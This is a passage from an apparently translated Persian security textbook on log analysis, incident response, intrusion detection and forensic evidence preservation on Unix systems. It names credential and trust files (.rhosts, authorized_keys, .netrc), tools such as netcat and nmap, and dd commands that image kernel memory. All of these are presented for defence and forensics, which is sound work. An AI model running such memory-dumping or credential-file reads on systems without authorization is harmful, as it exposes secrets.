  . افزاري، پيكربندي شبكه و همچنين نارسائيهاي امنيتي خود را پيدا كنيدتوانيد مشكلات سختكمك فايلهاي ثبت مي

  پردازش
. شـده مطلـب قابـل تـوجهي ندارنـد         بسياري از گزارشات ثبت   . افزارهاي تحليلگر، خلاصه كنيد   فايلهاي ثبت خود را با استفاده از نرم       

 مسائل آنقدر براي شما عادي شود كه طبق عادت براي ديدن اينكه مشكلي وجود دارد يا نه، يك نگاه گـذرا                      ممكن است ديدن اين   
  .به گزارشات بياندازيد، و بدين ترتيب بسيار احتمال دارد كه متوجه يك پيام مهم نشويد

خواهيد ببينيـد را انتخـاب كنـد و          شما مي  اي خلاصه کنيد كه مطالب مهمي كه      نبايد ثبتها را بگونه   . سازي بايد دقت كنيد   در خلاصه 
درعـوض بايـد    . در چنين سيستمي بسيار محتمل است كه يك پيام مهم قبل از خوانده شدن، دور ريختـه شـود                  . بقيه را دور بياندازد   

ز چنـدگاه بايـد   هـر ا . كننده را با دقت در تطبيق الگو تا حد ممكن غربال كند، و بقيه را براي بررسي به شـما بـسپارد                   پيامهاي خسته 
سـازي پيامهـا، مطلـب مهمـي را از دسـت      نشده را نيز مطالعه كنيد تا مطمئن شويد بـا اسـتفاده از مكـانيزم غربـال              پيامهاي انتخاب 

  .دهيد نمي

  اعتماد
. داده يا حذف كنند   توانند ثبتها را تغيير     آورند، معمولاً مي  مهاجماني كه امتيازات ابركاربر بدست مي     . به ثبتها بطور مطلق اعتماد نكنيد     

توانند مكانيزم ثبت را براي گمراه کردن شما دستکاري كنند       كاربران محليِ داراي دسترسي فيزيكي يا دانش كافي از سيستم نيز مي           
درنتيجـه  . آوري و ذخيرة صحيح ثبتها شـوند      افزاري يا سيستمي نيز ممكن است منجر به عدم جمع         يا دور بزنند؛ و البته خطاهاي نرم      

  .اي ثبت نشده دليل بر آن نيست كه اتفاق نيفتاده استاينكه مسئله: م است كه از مكانيزمهاي ثبت و پويش اضافي استفاده كنيدلاز

اي در ثبتها قرار دهد تا شـما را         البته ثبت شدن يك مسئله هم لزوماً به معني اتفاق افتادنش نيست؛ چراكه ممكن است مهاجم نكته                
  .ا شخص ديگري را در مظان اتهام قرار دهداز مشكل اصلي دور كند ي

  آوري مداركجمع
نويس در آن وجود دارد، ولي يك سيستم درحال بيشتر اطلاعات درون فايلهاي مختلف ثبت، آگاهانه و با تصميم يك طراح يا برنامه             

 هنـر خوانـدن و اسـتفاده از         - ايدر سالهاي اخير گرايش زيـادي بـه جرمـشناسي رايانـه           . كنداجرا اطلاعات ديگري را نيز ثبت مي      
  . پيدا شده است-اي ردپاهاي به جا مانده از يك مهاجم در سيستمهاي رايانه
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افتد، برخي فايلها هستند كه اگر براي   هرچند ممكن است در ابتدا واضح به نظر نيايد، ولي هنگاميكه اتفاق ناگواري براي سيستم مي               
اين فايلها در واقع فايلهـاي ثبـت واقعـي          . كنندند، در انجام تحليلها كمك بيشتري مي      هر كاربر بصورت جداگانه نگهداشته شده باش      

  .باشندنيستند، اما يك منبع مفيد اطلاعاتي در مورد رفتار كاربر مي

  سوابق دستورات پوسته

وقتي كـاربر   . دارند) يا تاريخچه  (٣٤٠فايل سابقه  يك   ksh و   bash  ،csh  ،tcsh از جمله    Unix در   ٣٣٩هاي دستوري پوستهبسياري از   
چنانچـه سـعي   . شودكند، متن دستور به همراه آرگومانهايش براي اجراي مجدد در آينده در اين فايل نگهداري مي               دستوري وارد مي  

توانيد محتويات اين فايل را در كنـار ثبتهـاي سيـستم قـرار              داريد فعاليتهاي انجام شده در يك حساب كاربري را بازسازي كنيد، مي           
اگر ايـن فايـل     . بايد زمانهاي تغييرات اين فايل را بررسي كنيد تا مطمئن شويد هنگام انجام فعاليت مشكوك فعال بوده است                 . دهيد

هاي كامپايل شده، و گاهي اوقات حتـي     در زمان فعاليت مهاجم ايجاد شده و تغيير كرده باشد، بايد بتوانيد دستورات اجرا شده، برنامه               
انـد را  سعي کنيد حساب يا حسابهايي كه هدف اين حمله قرار گرفتـه  .  كاربري درگير در رخداد را تعيين كنيد       ها و حسابهاي  نام رايانه 

  .بيابيد، چراكه اين رخداد به نقض حريم خصوصي كاربران آن حسابها انجاميده است

تـوان از محتويـات ايـن فايـل         ارد مي مسلماً يك مهاجم آگاه، قبل از خروج از سيستم اين فايل را حذف خواهد كرد، اما در برخي مو                  
قبل از خروج مهاجم، و يـا  ) برداري از فايـل نسخه(يا با اجبار مهاجم به خروج؛ ايجاد يك پيوند سخت به فايل در جايي ديگر       : مطلع شد 

  .بازيابي فايلهاي حذف شده

  پست الكترونيكي

اگـر  . دارنـد هاي فرستاده شده را در يك فايل نگه مـي         نامهاند كه يك نسخه از تمام       حسابهاي برخي كاربران طوري پيكربندي شده     
حـداقل در   . تواند به شما اطلاعات مفيـدي بدهـد       اش مي هاي ارسالي مهاجم از چنين حسابي نامه بفرستد، بررسي يك نسخه از نامه          

ديد، به اين دليل لو رفـت كـه         دزشده، يكنفر كه اطلاعات محرمانه را با استفاده از رمز عبور مسروقة همكارش مي             يك مورد گزارش  
  !كرده استفرستاده را با نام خودش امضا ميهايي كه ميدر بررسيها معلوم شد نامه

  تنظيمات شبكه

 بـراي صـدور     ٣٤١ميـانبر توان از آنهـا بـراي ايجـاد         تواند چندين فايل براي پيكربندي شبكه داشته باشد، كه مي         حساب هر كاربر مي   
تواند سرنخي باشد بـراي ردگيـري فعاليتهـاي         بعضي مواقع اطلاعات اين فايلها مي     . سي استفاده كرد  دستورات يا اعمال حقوق دستر    

 براي  ssh/authorized_keys. و   rhosts   ، .ssh/known_hosts. عبارتند از    Unixهايي از اين فايلها در      نمونه. يك تبهكار 
بال سرنخ بگرديد، ولي به خاطر داشته باشيد كه اطلاعـات موجـود در              در اين فايلها بدن   . FTP براي   netrc.ورود از راه دور، و فايل       

  .اين فايلها ممكن است مربوط به قبل از حمله باشد و يا براي گمراه كردن شما در آنجا قرار گرفته باشد

  رسيدگي به نفوذ
ه نگراني خاصي در زمينـة امنيـت خـود          بطور اعم، همة سازمانهايي ك    . هاي امنيتي داشته باشيد   شما بايد طرحي براي مقابله با رخنه      
  :هاي اصلي اين طرح عبارتند ازمؤلفه. دارند بايد چنين طرحي داشته باشند

                                                                                                                                            
339  Command Shells 
340  History File 
341  Shortcut 
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  مشكل را تشخيص دهيد و با آن آشنا شويد: ١مؤلفة 
مؤلفه بـه   اين  . توانيد اقدامي براي رفع آن انجام دهيد      اگر ندانيد مشكل چيست نمي    . مضطرب نشويد و بدون فكر كاري انجام ندهيد       

بعنـوان  . نقصي از مسئله داشته باشيد، ولي حداقل بايد بدانيد با چه شكلي از مشكل روبرو هـستيد                اين معني نيست كه بايد درك بي      
مثال اگر مشكل ناشي از انتقامجويي يك كارمند باشد كه با يك رايانة کيفي در دفتر همكارتـان پنهـان شـده اسـت، قطـع اتـصال                 

  .كند آن نمياينترنت كمكي به رفع

  مستندسازي كنيد: ٢مؤلفة 
آوري مدرك براي پيگرد قانوني، درصورت پايبندي به اين مؤلفه نتيجـة            اندازي هرچه سريعتر سيستم باشد و چه جمع       چه هدفتان راه  

رداريـد و هـر     يـك دفترچـه ب    . دهيد را مستند نماييد   بلافاصله شروع به ثبت كاغذي كنيد و هر كاري كه انجام مي           . گيريدبهتري مي 
دهيد، آنها را چاپ نماييد    اگر فايلهاي متني را مورد بررسي قرار مي       . كنيد را با ذكر تاريخ و ساعت، يادداشت كنيد        سرنخي كه پيدا مي   

  .و روي هر برگ آن تاريخ و امضا بزنيد

 رسـيدگي بـه نفوذهـا، مهـار     ممكن است سازمانهاي بزرگ يك مأمور امنيتي يا يك تيم واكنش داخلي داشته باشند كـه مـسئوليت           
اگر سازمان شما داراي چنين سيستمي براي گزارش وقايع داخلي اسـت، مطمـئن           . خسارتها، و هماهنگي واكنشها بر عهدة آنها باشد       

شويد كه افراد مسئول همواره از مراحل ابتدايي حضور دارند و علاوه بر تدوين گامهاي واكنش به رخداد، در مستندسازي نيز كمـك                  
  .كنندمي

  خسارتها را متوقف يا مهار كنيد: ٣مؤلفة 
مثلاً اگر كارمندي را كه فايلهـاي سيـستم   . دادن به آن كنيد   وقتي مشكل را تشخيص داديد بلافاصله اقدام به محدودكردن يا خاتمه          

اين كارها براي محـدود     . اشيدكند شناختيد، حساب كاربري او را غير فعال نماييد، و اعمال تنبيهي را نيز مد نظر داشته ب                 را حذف مي  
  .هاي شما استكردن خسارتهاي وارده به سيستم و داده

  از درستي تشخيص خود اطمينان حاصل كنيد و خسارتهاي وارده را تعيين نماييد: ٤مؤلفة 
اج كارمنـد هنـوز هـم    آيا بعد از اخـر . بعد از مهار صدمات، تشخيص خود از مشكل را به تأييد برسانيد و خسارات وارده را تعيين كنيد 

علاوه بر آن ممكـن اسـت       . توانيد صد درصد از ارتباط دو يا چند واقعه با يكديگر مطمئن شويد            شوند؟ شما هرگز نمي   فايلها پاك مي  
  .نتوانيد بلافاصله تمام خسارتهاي وارده را تعيين كنيد

  درصورت لزوم مدارك را نگهداريد: ٥مؤلفة 
داريد يا بدنبال جبران قانوني خسارتهاي ناشي از آن هستيد بايد قبـل از هـر عمـل ديگـر سـعي در                    اگر قصد پيگرد قانوني رخداد را       

آوري مدارك نبايد مانع از تماس شما با پليس و تشكيل پرونده عليه يك مظنون               عدم موفقيت در جمع   . آوري مدارك لازم كنيد   جمع
توجه داشته باشيد كه حفظ مدارك ممكن       . قابل توجهي پايين آورد   شود، اما كمبود مدارك ممكن است شانس موفقيت شما را تا حد             

توجهي نشان  است زمانگير و مشكل باشد و بسياري از سازمانها به همين دليل ساده هنگام روبرو شدن با مشكلات به اين مؤلفه بي                     
  .دهندمي

  سيستم را ترميم كنيد: ٦مؤلفة 
اين عمل ممكن است نياز بـه       . هاي خود را به يك حالت پايدار برسانيد       تم و داده  بعد از شناساييِ وسعت خسارتها لازم است كه سيس        

قبـل از   . اندازي مجدد سيستم باشد   بازگرداندن قسمتهايي از سيستم از روي پشتيبانها داشته باشد، و يا ممكن است فقط به معني راه                
ده قرار دهيد امن هستند؛ چراكه مهاجم ممكـن اسـت برنامـة             خواهيد مورد استفا  هايي كه مي  ادامة كار مطمئن شويد كه تمام برنامه      

ترميم شما را با يك اسب تراوا جايگزين كرده باشد كه فايلها را هم از روي ديسك سخت و هم از روي نـوار مغناطيـسي پـشتيبان                            
  .پاك كند
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  دليل وقوع رخداد را پيدا كنيد: ٧مؤلفة 
ص در تدابير پيشگيرانة شما باشد، بعد از بازگرداندن سيستم بـه وضـعيت عـادي    اگر مشكل ناشي از يك ضعف امنيتي يا ناشي از نق 

شـده، احتمـالاً آموزشـهاي    اگر دليل مشكل، يك شخص بوده كه اشتباهي مرتكب مي. بايد يكسري تغييرات و تعميرات انجام دهيد    
روي قصد در كارهاي شـما مداخلـه كـرده باشـد     لازم براي جلوگيري از وقوع مجدد اين رخداد را به وي خواهيد داد، و اگر كسي از    

  .ممكن است بخواهيد از طرق قانوني عليه وي اقدام كنيد

  فعاليتهاي لازم براي مقابله را انجام دهيد: ٨مؤلفة 
بعد از وقوع رخداد، براي توضيح اينكـه چـه اتفـاقي            . كنيداگر خسارتهاي ناشي از حمله مشمول بيمه شود قاعدتاً ادعاي خسارت مي           

اين . افتاده، چه نفوذهايي صورت گرفته و در مقابل آن چه اقداماتي انجام شده، كنترل شايعات و مديريت روابط اجتماعي لازم است                    
  .تواند از خود رخداد مضرتر باشدگام براي جوامع نسبتاً بزرگ كاربران اهميت دارد، چراكه آثار شايعات و نگرانيهاي آنها مي

  عملكرد خود را مورد ارزيابي قرار دهيدپس از رخداد، : ٩مؤلفة 
شما و تيمتان چگونه    . بعد از اينكه از رفع مشكل مطمئن شديد، بروز رخداد و اقدامات خود براي مقابله با آنرا مورد بازبيني قرار دهيد                    

مهمتر از همه اينكه از همان      نتيجه ماندند؟ كدام تصميمات اشتباه بودند؟ و        توانستيد بهتر به آن رسيدگي كنيد؟ چه تلاشهايي بي        مي
  توانستيد از وقوع آن رخداد جلوگيري كنيد؟ابتدا چگونه مي

توانيـد  مـي ) ...مثل ديسك فلاپـي، ديـسك فـشرده، و   (ابزار روي يك رسانة فقط خواندني علاوه بر يك طرح عملياتي، با داشتن يك جعبه       
گـذارد؛ پـس    نشده براي پاسـخ بـه واقعـه در اختيـار شـما مـي              ستكاريابزار يكسري برنامة د   اين جعبه . آمادگي خود را افزايش دهيد    

هـا بـراي يـك سيـستم     اين برنامـه . شده لازم داريد در آن قرار دهيدهايي را كه براي بررسي يك سيستم دستكاري     توانيد برنامه  مي
Unixتواند شامل اقلام زير باشد مي:  

awk, bash, cat, compress, cut, dd, des, df, du, file, find, grep, gzip, icat, ifconfig, last, ls, lsmod, 
lsof, md5sum, modinfo, more, netcat, netstat, nmap, paste, pcat, perl, pgp, pkginfo, ps, rpm, rm, 
script, sed, strings, strace, tar, top, truss, uncompress, vi, and w. 

انـدازي روي آن    عامـل قابـل راه    داشـتن يـك سيـستم     ). ها را بصورت ايستا پيوند نماييد     يا برنامه (كنيد  هاي مشترك را فراموش ن    كتابخانه
 Linuxابزار دم دستي مناسب مبتني بر       يك جعبه ) Knoppix) http://www.knoppix.orgبعنوان مثال   . ديسك فشرده نيز مفيد است    

 مايكروسـافت  FATتواند سيستم فايل  ميLinuxچون .  همراه خود دارداست كه تعداد زيادي ابزارهاي تحليل و جرمشناسي نيز به     
  .باشد ابزار بسيار مفيدي مي جعبهKnoppixكند، يك ديسك فشردة  mount را Unixو ساير سيستمهاي فايل 

  كشف يك تهاجم

  :شدن از يك تهاجم وجود داردچند حالت براي مطلع

نـت در بوداپـست وارد سيـستم شـده،           است ببينيد كه ابركـاربر از يـك كـافي          مثلاً ممكن . مجرم را حين ارتكاب جرم بگيريد      •
 درحاليكه شما تنها كسي هستيد كه قرار بوده رمز عبور ابركاربر را بداند؛

مثلاً يك نامـة الكترونيكـي      . از اطلاعات دريافتي يا تغييراتي كه در سيستم رخ داده تشخيص دهيد كه نفوذ اتفاق افتاده است                 •
اندازد، يـا بـا حـسابهاي كـاربري جديـدي      كنيد كه در آن مهاجم شما را در مورد وجود يك حفرة امنيتي دست مي           دريافت مي 
 شويد؛مواجه مي

اي در  گويد در شبكة وي نشانهايي از فعاليتهاي غيرعادي كه از رايانه          كنيد كه مي  پيغامي از راهبر يك شبكة ديگر دريافت مي        •
 ارد؛شبكة شما سرچشمه گرفته وجود د
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، ديـسك سـخت   شـدنهاي ناگهـاني، فعاليـت شـديد         بينيد، مثل كندي شـديد شـبكه، خـراب        در سيستم اتفاقات غيرعادي مي     •
كننده، ناهمخوانيهاي جزئي در محاسبات زمانهاي اتصال كاربران، پاسخهاي بـا        اندازيهاي مجدد بدون وجود هيچ دليل قانع       راه

 . . .تأخير زياد، و 

ها را هر از چندگاه بطـور       اين برنامه . ها را براي كشف نفوذها بررسي كنند      توانند فايلها و پردازه   ود دارند كه مي   هاي متنوعي وج  برنامه
شـود  ايـد كـه مـانع مـي       به اين ترتيب يك عنـصر تـصادفي بوجـود آورده          . منظم و همچنين بصورت خارج از روال عادي اجرا كنيد         

همـواره  : همين نكتة ساده، يك اصل در اقدامات امنيتي اسـت         . ا رد پاي خود را بپوشانند     مهاجمان بتوانند با استفاده از زمانبندي شم      
  .بيني باشيدسعي كنيد غيرقابل پيش

  بعد از آنكه مهاجم را شناسايي كرديد

  :توانيد كارهاي گوناگوني انجام دهيدوقتي يك مهاجم را در سيستم خود كشف كرديد، مي

اينكـار معمـولاً يـك واكـنش        . در اينصورت ممكن است مهاجم هم سيستم شما را رها كند          . يدتوانيد تهاجم را ناديده بگير    مي .١
ايد به شما،   چشمپوشي از وجود يك مهاجم در سيستم عملاً به معني اين است كه به وي اجازه داده                . شودضعيف محسوب مي  

ق شبكة شما به سازمان ديگـري صـدمه وارد          همچنين چنانچه مهاجم از طري    . كاربران، و ساير افراد روي شبكه آسيب برساند       
توانـستيد جلـوي او را      خواسـتيد مـي   كند، ممكن است از نظر قانوني در قبال آن مسئول شناخته شويد، چراكه شـايد اگـر مـي                  

  .بگيريد

بعـضي از   . دهنگام انجام اينكـار بـسيار مراقـب باشـي         . خواهدتوانيد سعي كنيد با مهاجم ارتباط برقرار كنيد و ببينيد چه مي           مي .٢
مهاجمان ذاتاً بدخواه هستند و از گرفتار شدن در دام قانون بسيار وحشت دارند، و لذا اگر با آنها تمـاس بگيريـد ممكـن اسـت                   

سعي كنيـد مهـاجم را قبـل از برقـراري تمـاس رديـابي       . همه چيز روي رايانه شما را براي از بين بردن ردپاي خود پاك كنند    
 .نيز مستند سازيدنماييد و تمام تماسها را 

فهميد كه قصد تغيير در پايگاه دادة حسابهاي كاربري شـما را دارد، يـا   به اين ترتيب مي. توانيد مهاجم را تحت نظر بگيريد   مي .٣
دانيد اين مهاجم چه مدتي اسـت كـه در       به هر حال به ياد داشته باشيد كه شما نمي         . كندهاي كاربران را زير و رو مي       تنها نامه 
 .دهندگيريد، اتفاقاتي است كه بعد از شناسايي او رخ ميماست و آنچه تحت نظارت ميسيستم ش

، TCP Dumpافزار نظارت بر بسته مثل توانيد با استفاده از يك نرماگر مهاجم از طريق يك اتصال شبكه وارد شده باشد مي
Ethereal   يا Snoop  اگر رايانة شـما بـه       . ك فايل ذخيره كنيد   هاي وي را به نمايش در آوريد يا در ي         ، محتويات بستهhub 

  .ها را دريافت كند و مورد بررسي قرار دهدتواند بدون ايجاد مزاحمت، تمام بسته وصل باشد، يك رايانة ديگر مي

افزارهـاي متعـدد ديگـري    اگر مهاجم از طريق يك مودم يا پورت سريال كه مستقيماً به رايانه متصل است وارد شده باشد نرم    
  هــا بــه طــور دقيــق و ايــن برنامــه. ser2net و ttywatch ،conserver ،rttyاي نظــارت بــر وي وجــود دارنــد، مثــل بــر

دهند و در بـسياري مـوارد حتـي         بايت به بايت اطلاعات فرستاده شده روي يك يا چند پورت سريال را در اختيار شما قرار مي                 
يت در مواقعي ارزشمند اسـت كـه مهـاجم بـا اسـتفاده از پروتكلهـاي                 اين قابل . ها هم نظارت كنند   pseudo-ttyتوانند بر     مي

  .دهندة شما وصل شده باشد و از طريق شبكه به سرويسSSHرمزگذاري مانند 

در برخي كشورها نظارت بر مهاجمان ممكن است غيرقانوني باشد، يا فقط درصورتي قانوني باشـد كـه در پيامهـايي از طـرف              
  .ان گفته باشيد كه ممكن است تحت نظارت قرار بگيرندشركت خود صراحتاً به كاربر

اگر مهاجم با تلفن با شما تماس گرفته باشد، اين مـسئله            . توانيد سعي كنيد اتصالات را ردگيري و مهاجم را شناسايي كنيد          مي .٤
ده يـا رد وي را      گيرنكند؛ برخي شركتهاي مخابرات هويت تماس     به خدمات شركت مخابرات طرف قرارداد شما ارتباط پيدا مي         

توانـد رايانـة سرچـشمه ايـن      سـريعاً مـي    netstat يا   whoاگر مهاجم از طريق شبكه وصل شده باشد، دستور          . دهند ارائه مي 
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؛ اطلاعـات   )!البتـه حتمـاً بـا تلفـن       (توانيد با راهبر آن رايانه براي رديابي بيشتر تماس بگيريـد            سپس مي . اتصال را مشخص سازد   
گزينـة ديگـر اسـتفاده از       .  نام دامنه يا در پايگاه وب سازمان وجود دارد         whoisتم معمولاً در اطلاعات     تماس با راهبران سيس   

اگر تمام اين   ).  باشد tracert يا   tracerouteعامل مورد استفادة شما نام برنامه ممكن است         بسته به سيستم  (يك برنامة ردگيري مسير است      
 در رايانة مبدأ يك نامة الكترونيكي بفرسـتيد و از آنهـا             postmaster يا   rootكاربر  توانيد به   راهها با شكست مواجه شد، مي     

در اين نامة الكترونيكي از نفوذ حرفي نزنيد، چون ممكن است مهاجم اين حسابهاي كاربري را                . بخواهيد با شما تماس بگيرند    
 .نيز تحت نظر داشته باشد

قطع برق رايانـه سـريعترين روش       . وش كردن رايانه، اتصال مهاجم را قطع كنيد       با خاتمة پردازه، قطع مودم يا شبكه، و يا خام          .٥
باشد؛ اما اين عمل  مي- از جمله وارد آمدن خسارتهاي بيشتر     -براي بيرون انداختن يك مهاجم و جلوگيري از هر عمل ديگر            

. كنـد نوني و مشروع را نيز دچار وقفه مي       گيرد، كار تمام كاربران قا    بسيار خشن است، چون علاوه بر اينكه جلوي مهاجم را مي          
را از بين ببرد، و به خاطر تراواهايي كه         ) هاي در حال اجرا     مانند پردازه (همچنين ممكن است مداركي كه روزي در دادگاه نياز داريد           

بعـلاوه  .  وارد آورد  اندازيِ مجـدد، صـدماتي بـه سيـستم        اندازي توسط مهاجم قرارداده شده، در زمان راه       هاي راه برنامهدر قطعه 
بسياري از سيستمهاي فايل ممكن است نتوانند قطع ناگهاني برق را تحمل كنند و درنتيجه كشيدن دوشاخه صدماتي بيش از                    

 .توانسته به آنها وارد آوردآنچه كه مهاجم مي

 و پـس از اينكـه رمـز عبـور           هاي مهاجم را پيدا كنيد    توانيد فهرست پردازه   مي ps با استفاده از دستور      Unixروي سيستمهاي   
در سيـستمهاي  . هـا را خاتمـه دهيـد    آن پـردازه killحساب كاربري مورد استفادة او را شناسايي و تعويض كرديـد، بـا دسـتور               

Windows ،Task Managerدهد همين كار را انجام مي.  

هايي كه از ميزبان    براي دور ريختن بسته   ريزي ديوارة آتش خود     توانيد با برنامه  اگر مهاجم از طريق شبكه وصل شده باشد مي        
اگر مهاجم از طريق خطوط تلفني شمارة شـما را گرفتـه باشـد              . او آمده، يا كلاً با كشيدن كابل شبكه اتصال وي را قطع كنيد            

  .توانيد مودم را خاموش كنيد يا سيم آنرا از پشت رايانه بيرون بكشيدمي

 .ك مسئول اجراي قانون تماس بگيريد و وقوع حمله را به اطلاع آنان برسانيدخود، يك تيم واكنش به رخداد، يا ي ISPبا  .٦

  بعد از حمله
  .شده توسط مهاجم چگونه بايد ترميم و تميزكاري شوندادامة مطالب اين فصل اختصاص به اين دارد كه كارهاي انجام

  فايلهاي ثبت را تحليل كنيد
 هم با بررسي منظم ثبتهاي سيـستم، احتمـال زيـادي بـراي موفقيـت در رديـابي                   اگر حتي مهاجم را حين ارتكاب جرم نگرفتيد، باز        

  :بدنبال ثبتهاي غيرعادي بگرديد؛ مثلاً. مهاجم داريد

 ورود كاربران به سيستم در ساعات غيرعادي؛ •
 ها بطور غيرمنتظره؛اندازيهاي مجدد رايانهراه •
 تغييرات در ساعت سيستم بدون هيچ توجيه خاص؛ •
 ؛ايهاي شبكهدهنده، يا ساير سرويسMailer ،FTPهاي daemonعمول خطا از پيغامهاي نام •
 ؛تلاشهاي ورود ناموفق با رمزهاي عبور نادرست •
 ؛ وsuاستفادة غيرمجاز يا مشكوك از دستور  •
 .ورود كاربران به شبكه از پايگاههاي ناآشنا •
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هاي ورود خـود را  ر به ماشين شما پيدا كند، معمولاً تمام نشانهاز طرف ديگر اگر مهاجم به اندازة كافي ماهر باشد و دسترسي ابركارب        
توانيد نتيجه بگيريد كه سيستم شما مـورد        بنابراين به صرف اينكه در فايلهاي ثبت هيچ نشاني از نفوذ وجود ندارد نمي             . كندپاك مي 

  .حمله قرار نگرفته است

كه تنها سوابق حملة خود را از فايل ثبت حذف كنند، كل فايـل ثبـت را                 بسياري از مهاجمان در كار خود ظرافت ندارند و به جاي اين           
اين بدان معناست كه اگر مشاهده كرديد كه فايل ثبت حذف يا اطلاعـات آن خـراب شـده اسـت، ايـن                       . نمايندحذف يا تخريب مي   

فقدان يا خرابي ثبتهـا    . گيري ممكن نيست  اما اين تنها نتيجه   . امكان وجود دارد كه رايانة شما با موفقيت مورد حمله قرار گرفته باشد            
دقتي يكي از راهبران سيستم اتفاق بيافتد، يا حتي ممكن است يک برنامـة مـشروع بـراي حـذف ثبتهـا در                       ممكن است به دليل بي    

  . وجود داشته باشد- براي جلوگيري از اشغال فضاي زيادي از ديسك -فواصل معين 

هاي سيستمي يا فايلهاي يك كاربر خاص، به مورد حمله قرار گرفتن سيـستم              رمجاز در برنامه  توانيد از بروز تغييرات غي    همچنين مي 
كنندة ديگر براي استفاده از ابزارهاي بررسي يکپارچگي و صحت فايلها بمنظور نظارت بر تغييـرات   اين يك دليل قانع   . خود پي ببريد  

  . باشد آنها مي

دهد، بهتر است اول نگاهي به آنها بياندازيد، چون مطمئن هستيد مهاجمـاني كـه از                ياگر سيستم بصورت چاپي نيز ثبتهايي انجام م       
  ).البته به شرطي كه چاپ ثبتها بصورت بلادرنگ انجام شود. (توانند آنها را بصورت مخفيانه تغيير دهندكنند نميطريق شبكه يا تلفن نفوذ مي

  حفظ مدارك
حتـي اگـر   . ، نياز به مداركي دالّ بر وقوع جـرم داريـد  )البته اگر آنها را پيدا كرده باشيد     (دهيد  خواهيد مهاجمان را تحت پيگرد قرار       اگر مي 

  .تواند به شما در بازسازي آنچه که اتفاق افتاده کمک كندآوري مدارك ميقصد انجام هيچگونه اقدام قانوني نداريد، جمع

  .خوانيدآيند را ميش كه به نظر مفيد ميذيلاً چند رو. آوري مدارك وجود داردروشهاي زيادي براي جمع

 :شود انجام ميdd اينكار با دستور Unixدر . آوري كنيدهاي موجود در حافظة سيستم را جمعداده .١

# dd bs=1024 « /dev/mem » mem.image 
# dd bs=1024 « /dev/kmem » kmem.image 

صلي را برداريد و آنها را در جاي امني قـرار دهيـد، و روي    حالا ديسكهاي ا  . يك نسخة كامل از ديسكهاي سخت خود بگيريد        .٢
كند، نـسخة دوم آن ممكـن        استفاده مي  proc/اگر رايانة شما از سيستم فايل       . هاي ثانويه كار كنيد   يك ماشين ديگر با نسخه    
 .است بسيار به کار بيايد

است را بايگاني كنيـد و از ايـن بايگـاني در چنـدين              يك نسخه از فايلهاي كليدي كه از مهاجم به جا مانده يا تغيير داده شده                 .٣
 .برداري نماييدرايانه نسخه

 . فايلهاي تغييريافته را روي ديسك فشرده يا ديسك نوري بنويسيد .٤

 را -اي باشـد  تواند بيانگر اتصالات اخير شبكه كه مي- ARPرا اجرا كنيد تا محتويات جدول " arp –v"يا " arp –a"دستور  .٥
 . داشته باشيدپيش روي خود

از يـك ابـزار     .  را روي ديـسك سـخت خـود ذخيـره نماييـد            HTMLاگر ظاهر پايگاه وب شما تخريـب شـده، آن صـفحات              .٦
 .اي از نحوة نمايش آن صفحات روي نمايشگر را ذخيره سازيدتصويربرداري از صفحة نمايش استفاده كنيد تا بتوانيد نسخه

 و در xwd از X Windowدر برنامة . برداري كنيدكنند نسخهده را بازگو ميشاز تصاويري كه حالت جاري سيستم دستكاري .٧
Microsoft Windows از كليد Print Screenشود براي اين منظور استفاده مي. 
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 را روي كاغـذ چـاپ كنيـد،         MD5ايـن   . كنيد را بدست آوريـد     مربوط به هر تصوير يا فايلي كه بازيابي مي         MD5پيام  خلاصه .٨
 بـراي اطمينـان از تغييـر       MD5توانيـد از ايـن      بعدها مي . ، تاريخ بزنيد، و آنرا در كتابچة ثبت وقايع خود قرار دهيد           امضا نماييد 

 . نيافتن مدارك استفاده كنيد

بـرداري سـرعت بـالا از       نـسخه هـاي   آوري مدارك مفيد هستند، مانند برنامـه      يكسري محصولات تجاري وجود دارند كه براي جمع       
  .كنندهاي ورودي و خروجي سازمان را بايگاني مي كه تمام بسته٣٤٣)NFATs (ايهاي تحليل قانوني شبكهابزار، و ٣٤٢ديسك

  .آوري مدارك كنيد، با آنها مشورت نماييدايد، پيش از اينكه سرخود شروع به جمعاگر مسؤولان اجراي قانون را وارد ماجرا كرده

  تميزكاري بعد از تهاجم

بركاربر يا راهبر سيستم يا حساب كاربري ديگري با امتيازات دسترسي سطح بالا رسـيده باشـد، ممكـن                   اگر مهاجم به دسترسيهاي ا    
  كننـدة  اگـر مهـاجم يـك برنامـة گـردآوري         . تر بتواند به سيستم وارد شـود      است سيستم را طوري تغيير داده باشد كه در آينده راحت          

يده باشد، تا وقتي كه تمام رمزهاي عبور قسمتهاي مختلف سيـستم خـود     رمز عبور نصب كرده باشد يا فايلهاي رمزهاي عبور را دزد          
را عوض نكنيد، عليرغم هر عمل پيشگيرانة ديگري كه انجام دهيد باز هم نسبت به سوء استفادة مهـاجم از يـك حـساب كـاربري                          

  !تغيير دهيد شك نكنيددر اينصورت در اين موضوع كه بايد تمام رمزهاي عبور سيستم را . پذير خواهيد بودمجاز آسيب

بسته به نوع نفوذ، مجبور هستيد      . بعد از وقوع يك نفوذ موفق بايد يك مميزي دقيق انجام دهيد تا وسعت خسارتها را ارزيابي نماييد                 
از جملـه  (ممكن است مجبور شويد ساير سيستمهاي روي شبكه محلي خود و يا حتي تمـام شـبكه                 . تمام سيستم خود را وارسي كنيد     

  .را نيز تحت بررسي قرار دهيد) ايابها و ساير وسايل شبكهمسيري

مطمئنترين راه اين است    . مهاجم ممكن است يك سيستم را به طرق مختلفي دستكاري كند كه كشف آنها دشوار يا غيرممكن باشد                 
هايـشان   ردي را نيز به همراه وصـله هاي كاربهاي امنيتي آنرا اعمال نماييد، برنامهعامل خود را از ابتدا نصب و تمام وصله   كه سيستم 

شده بازيـابي   مجدداً نصب كنيد، و سپس به دقت فايلهاي كاربران را از روي پشتيبانها يا درصورت لزوم از روي ديسكهاي دستكاري                   
  :شوند باشيد؛ مثلدر مميزي خود بايد بدنبال اتفاقات غيرمعمول كه هنگام نفوذ رايج مي. نماييد

  حسابهاي جديد
ممكن اسـت بخواهيـد   .  يك نفوذ، بدنبال حسابهاي جديد بگرديد و هر حسابي كه توسط مهاجم ايجاد شده است را پاك كنيد               بعد از 

البتـه اگـر بتوانيـد او را پيـدا          . (اي كاغذي از اين حسابها داشته باشيد تا بتوانيد مهاجم را تحت پيگرد قرار دهيد              قبل از پاك كردن، سابقه    
  ).كنيد

  ويات يا مجوزهاي فايلهاتغييرات در محت
هرچند بايد تمام سيستم فايـل خـود   . تواند هر فايلي روي سيستم را تغيير دهدمهاجمي كه امتيازات دسترسي بالايي بدست آورد مي     

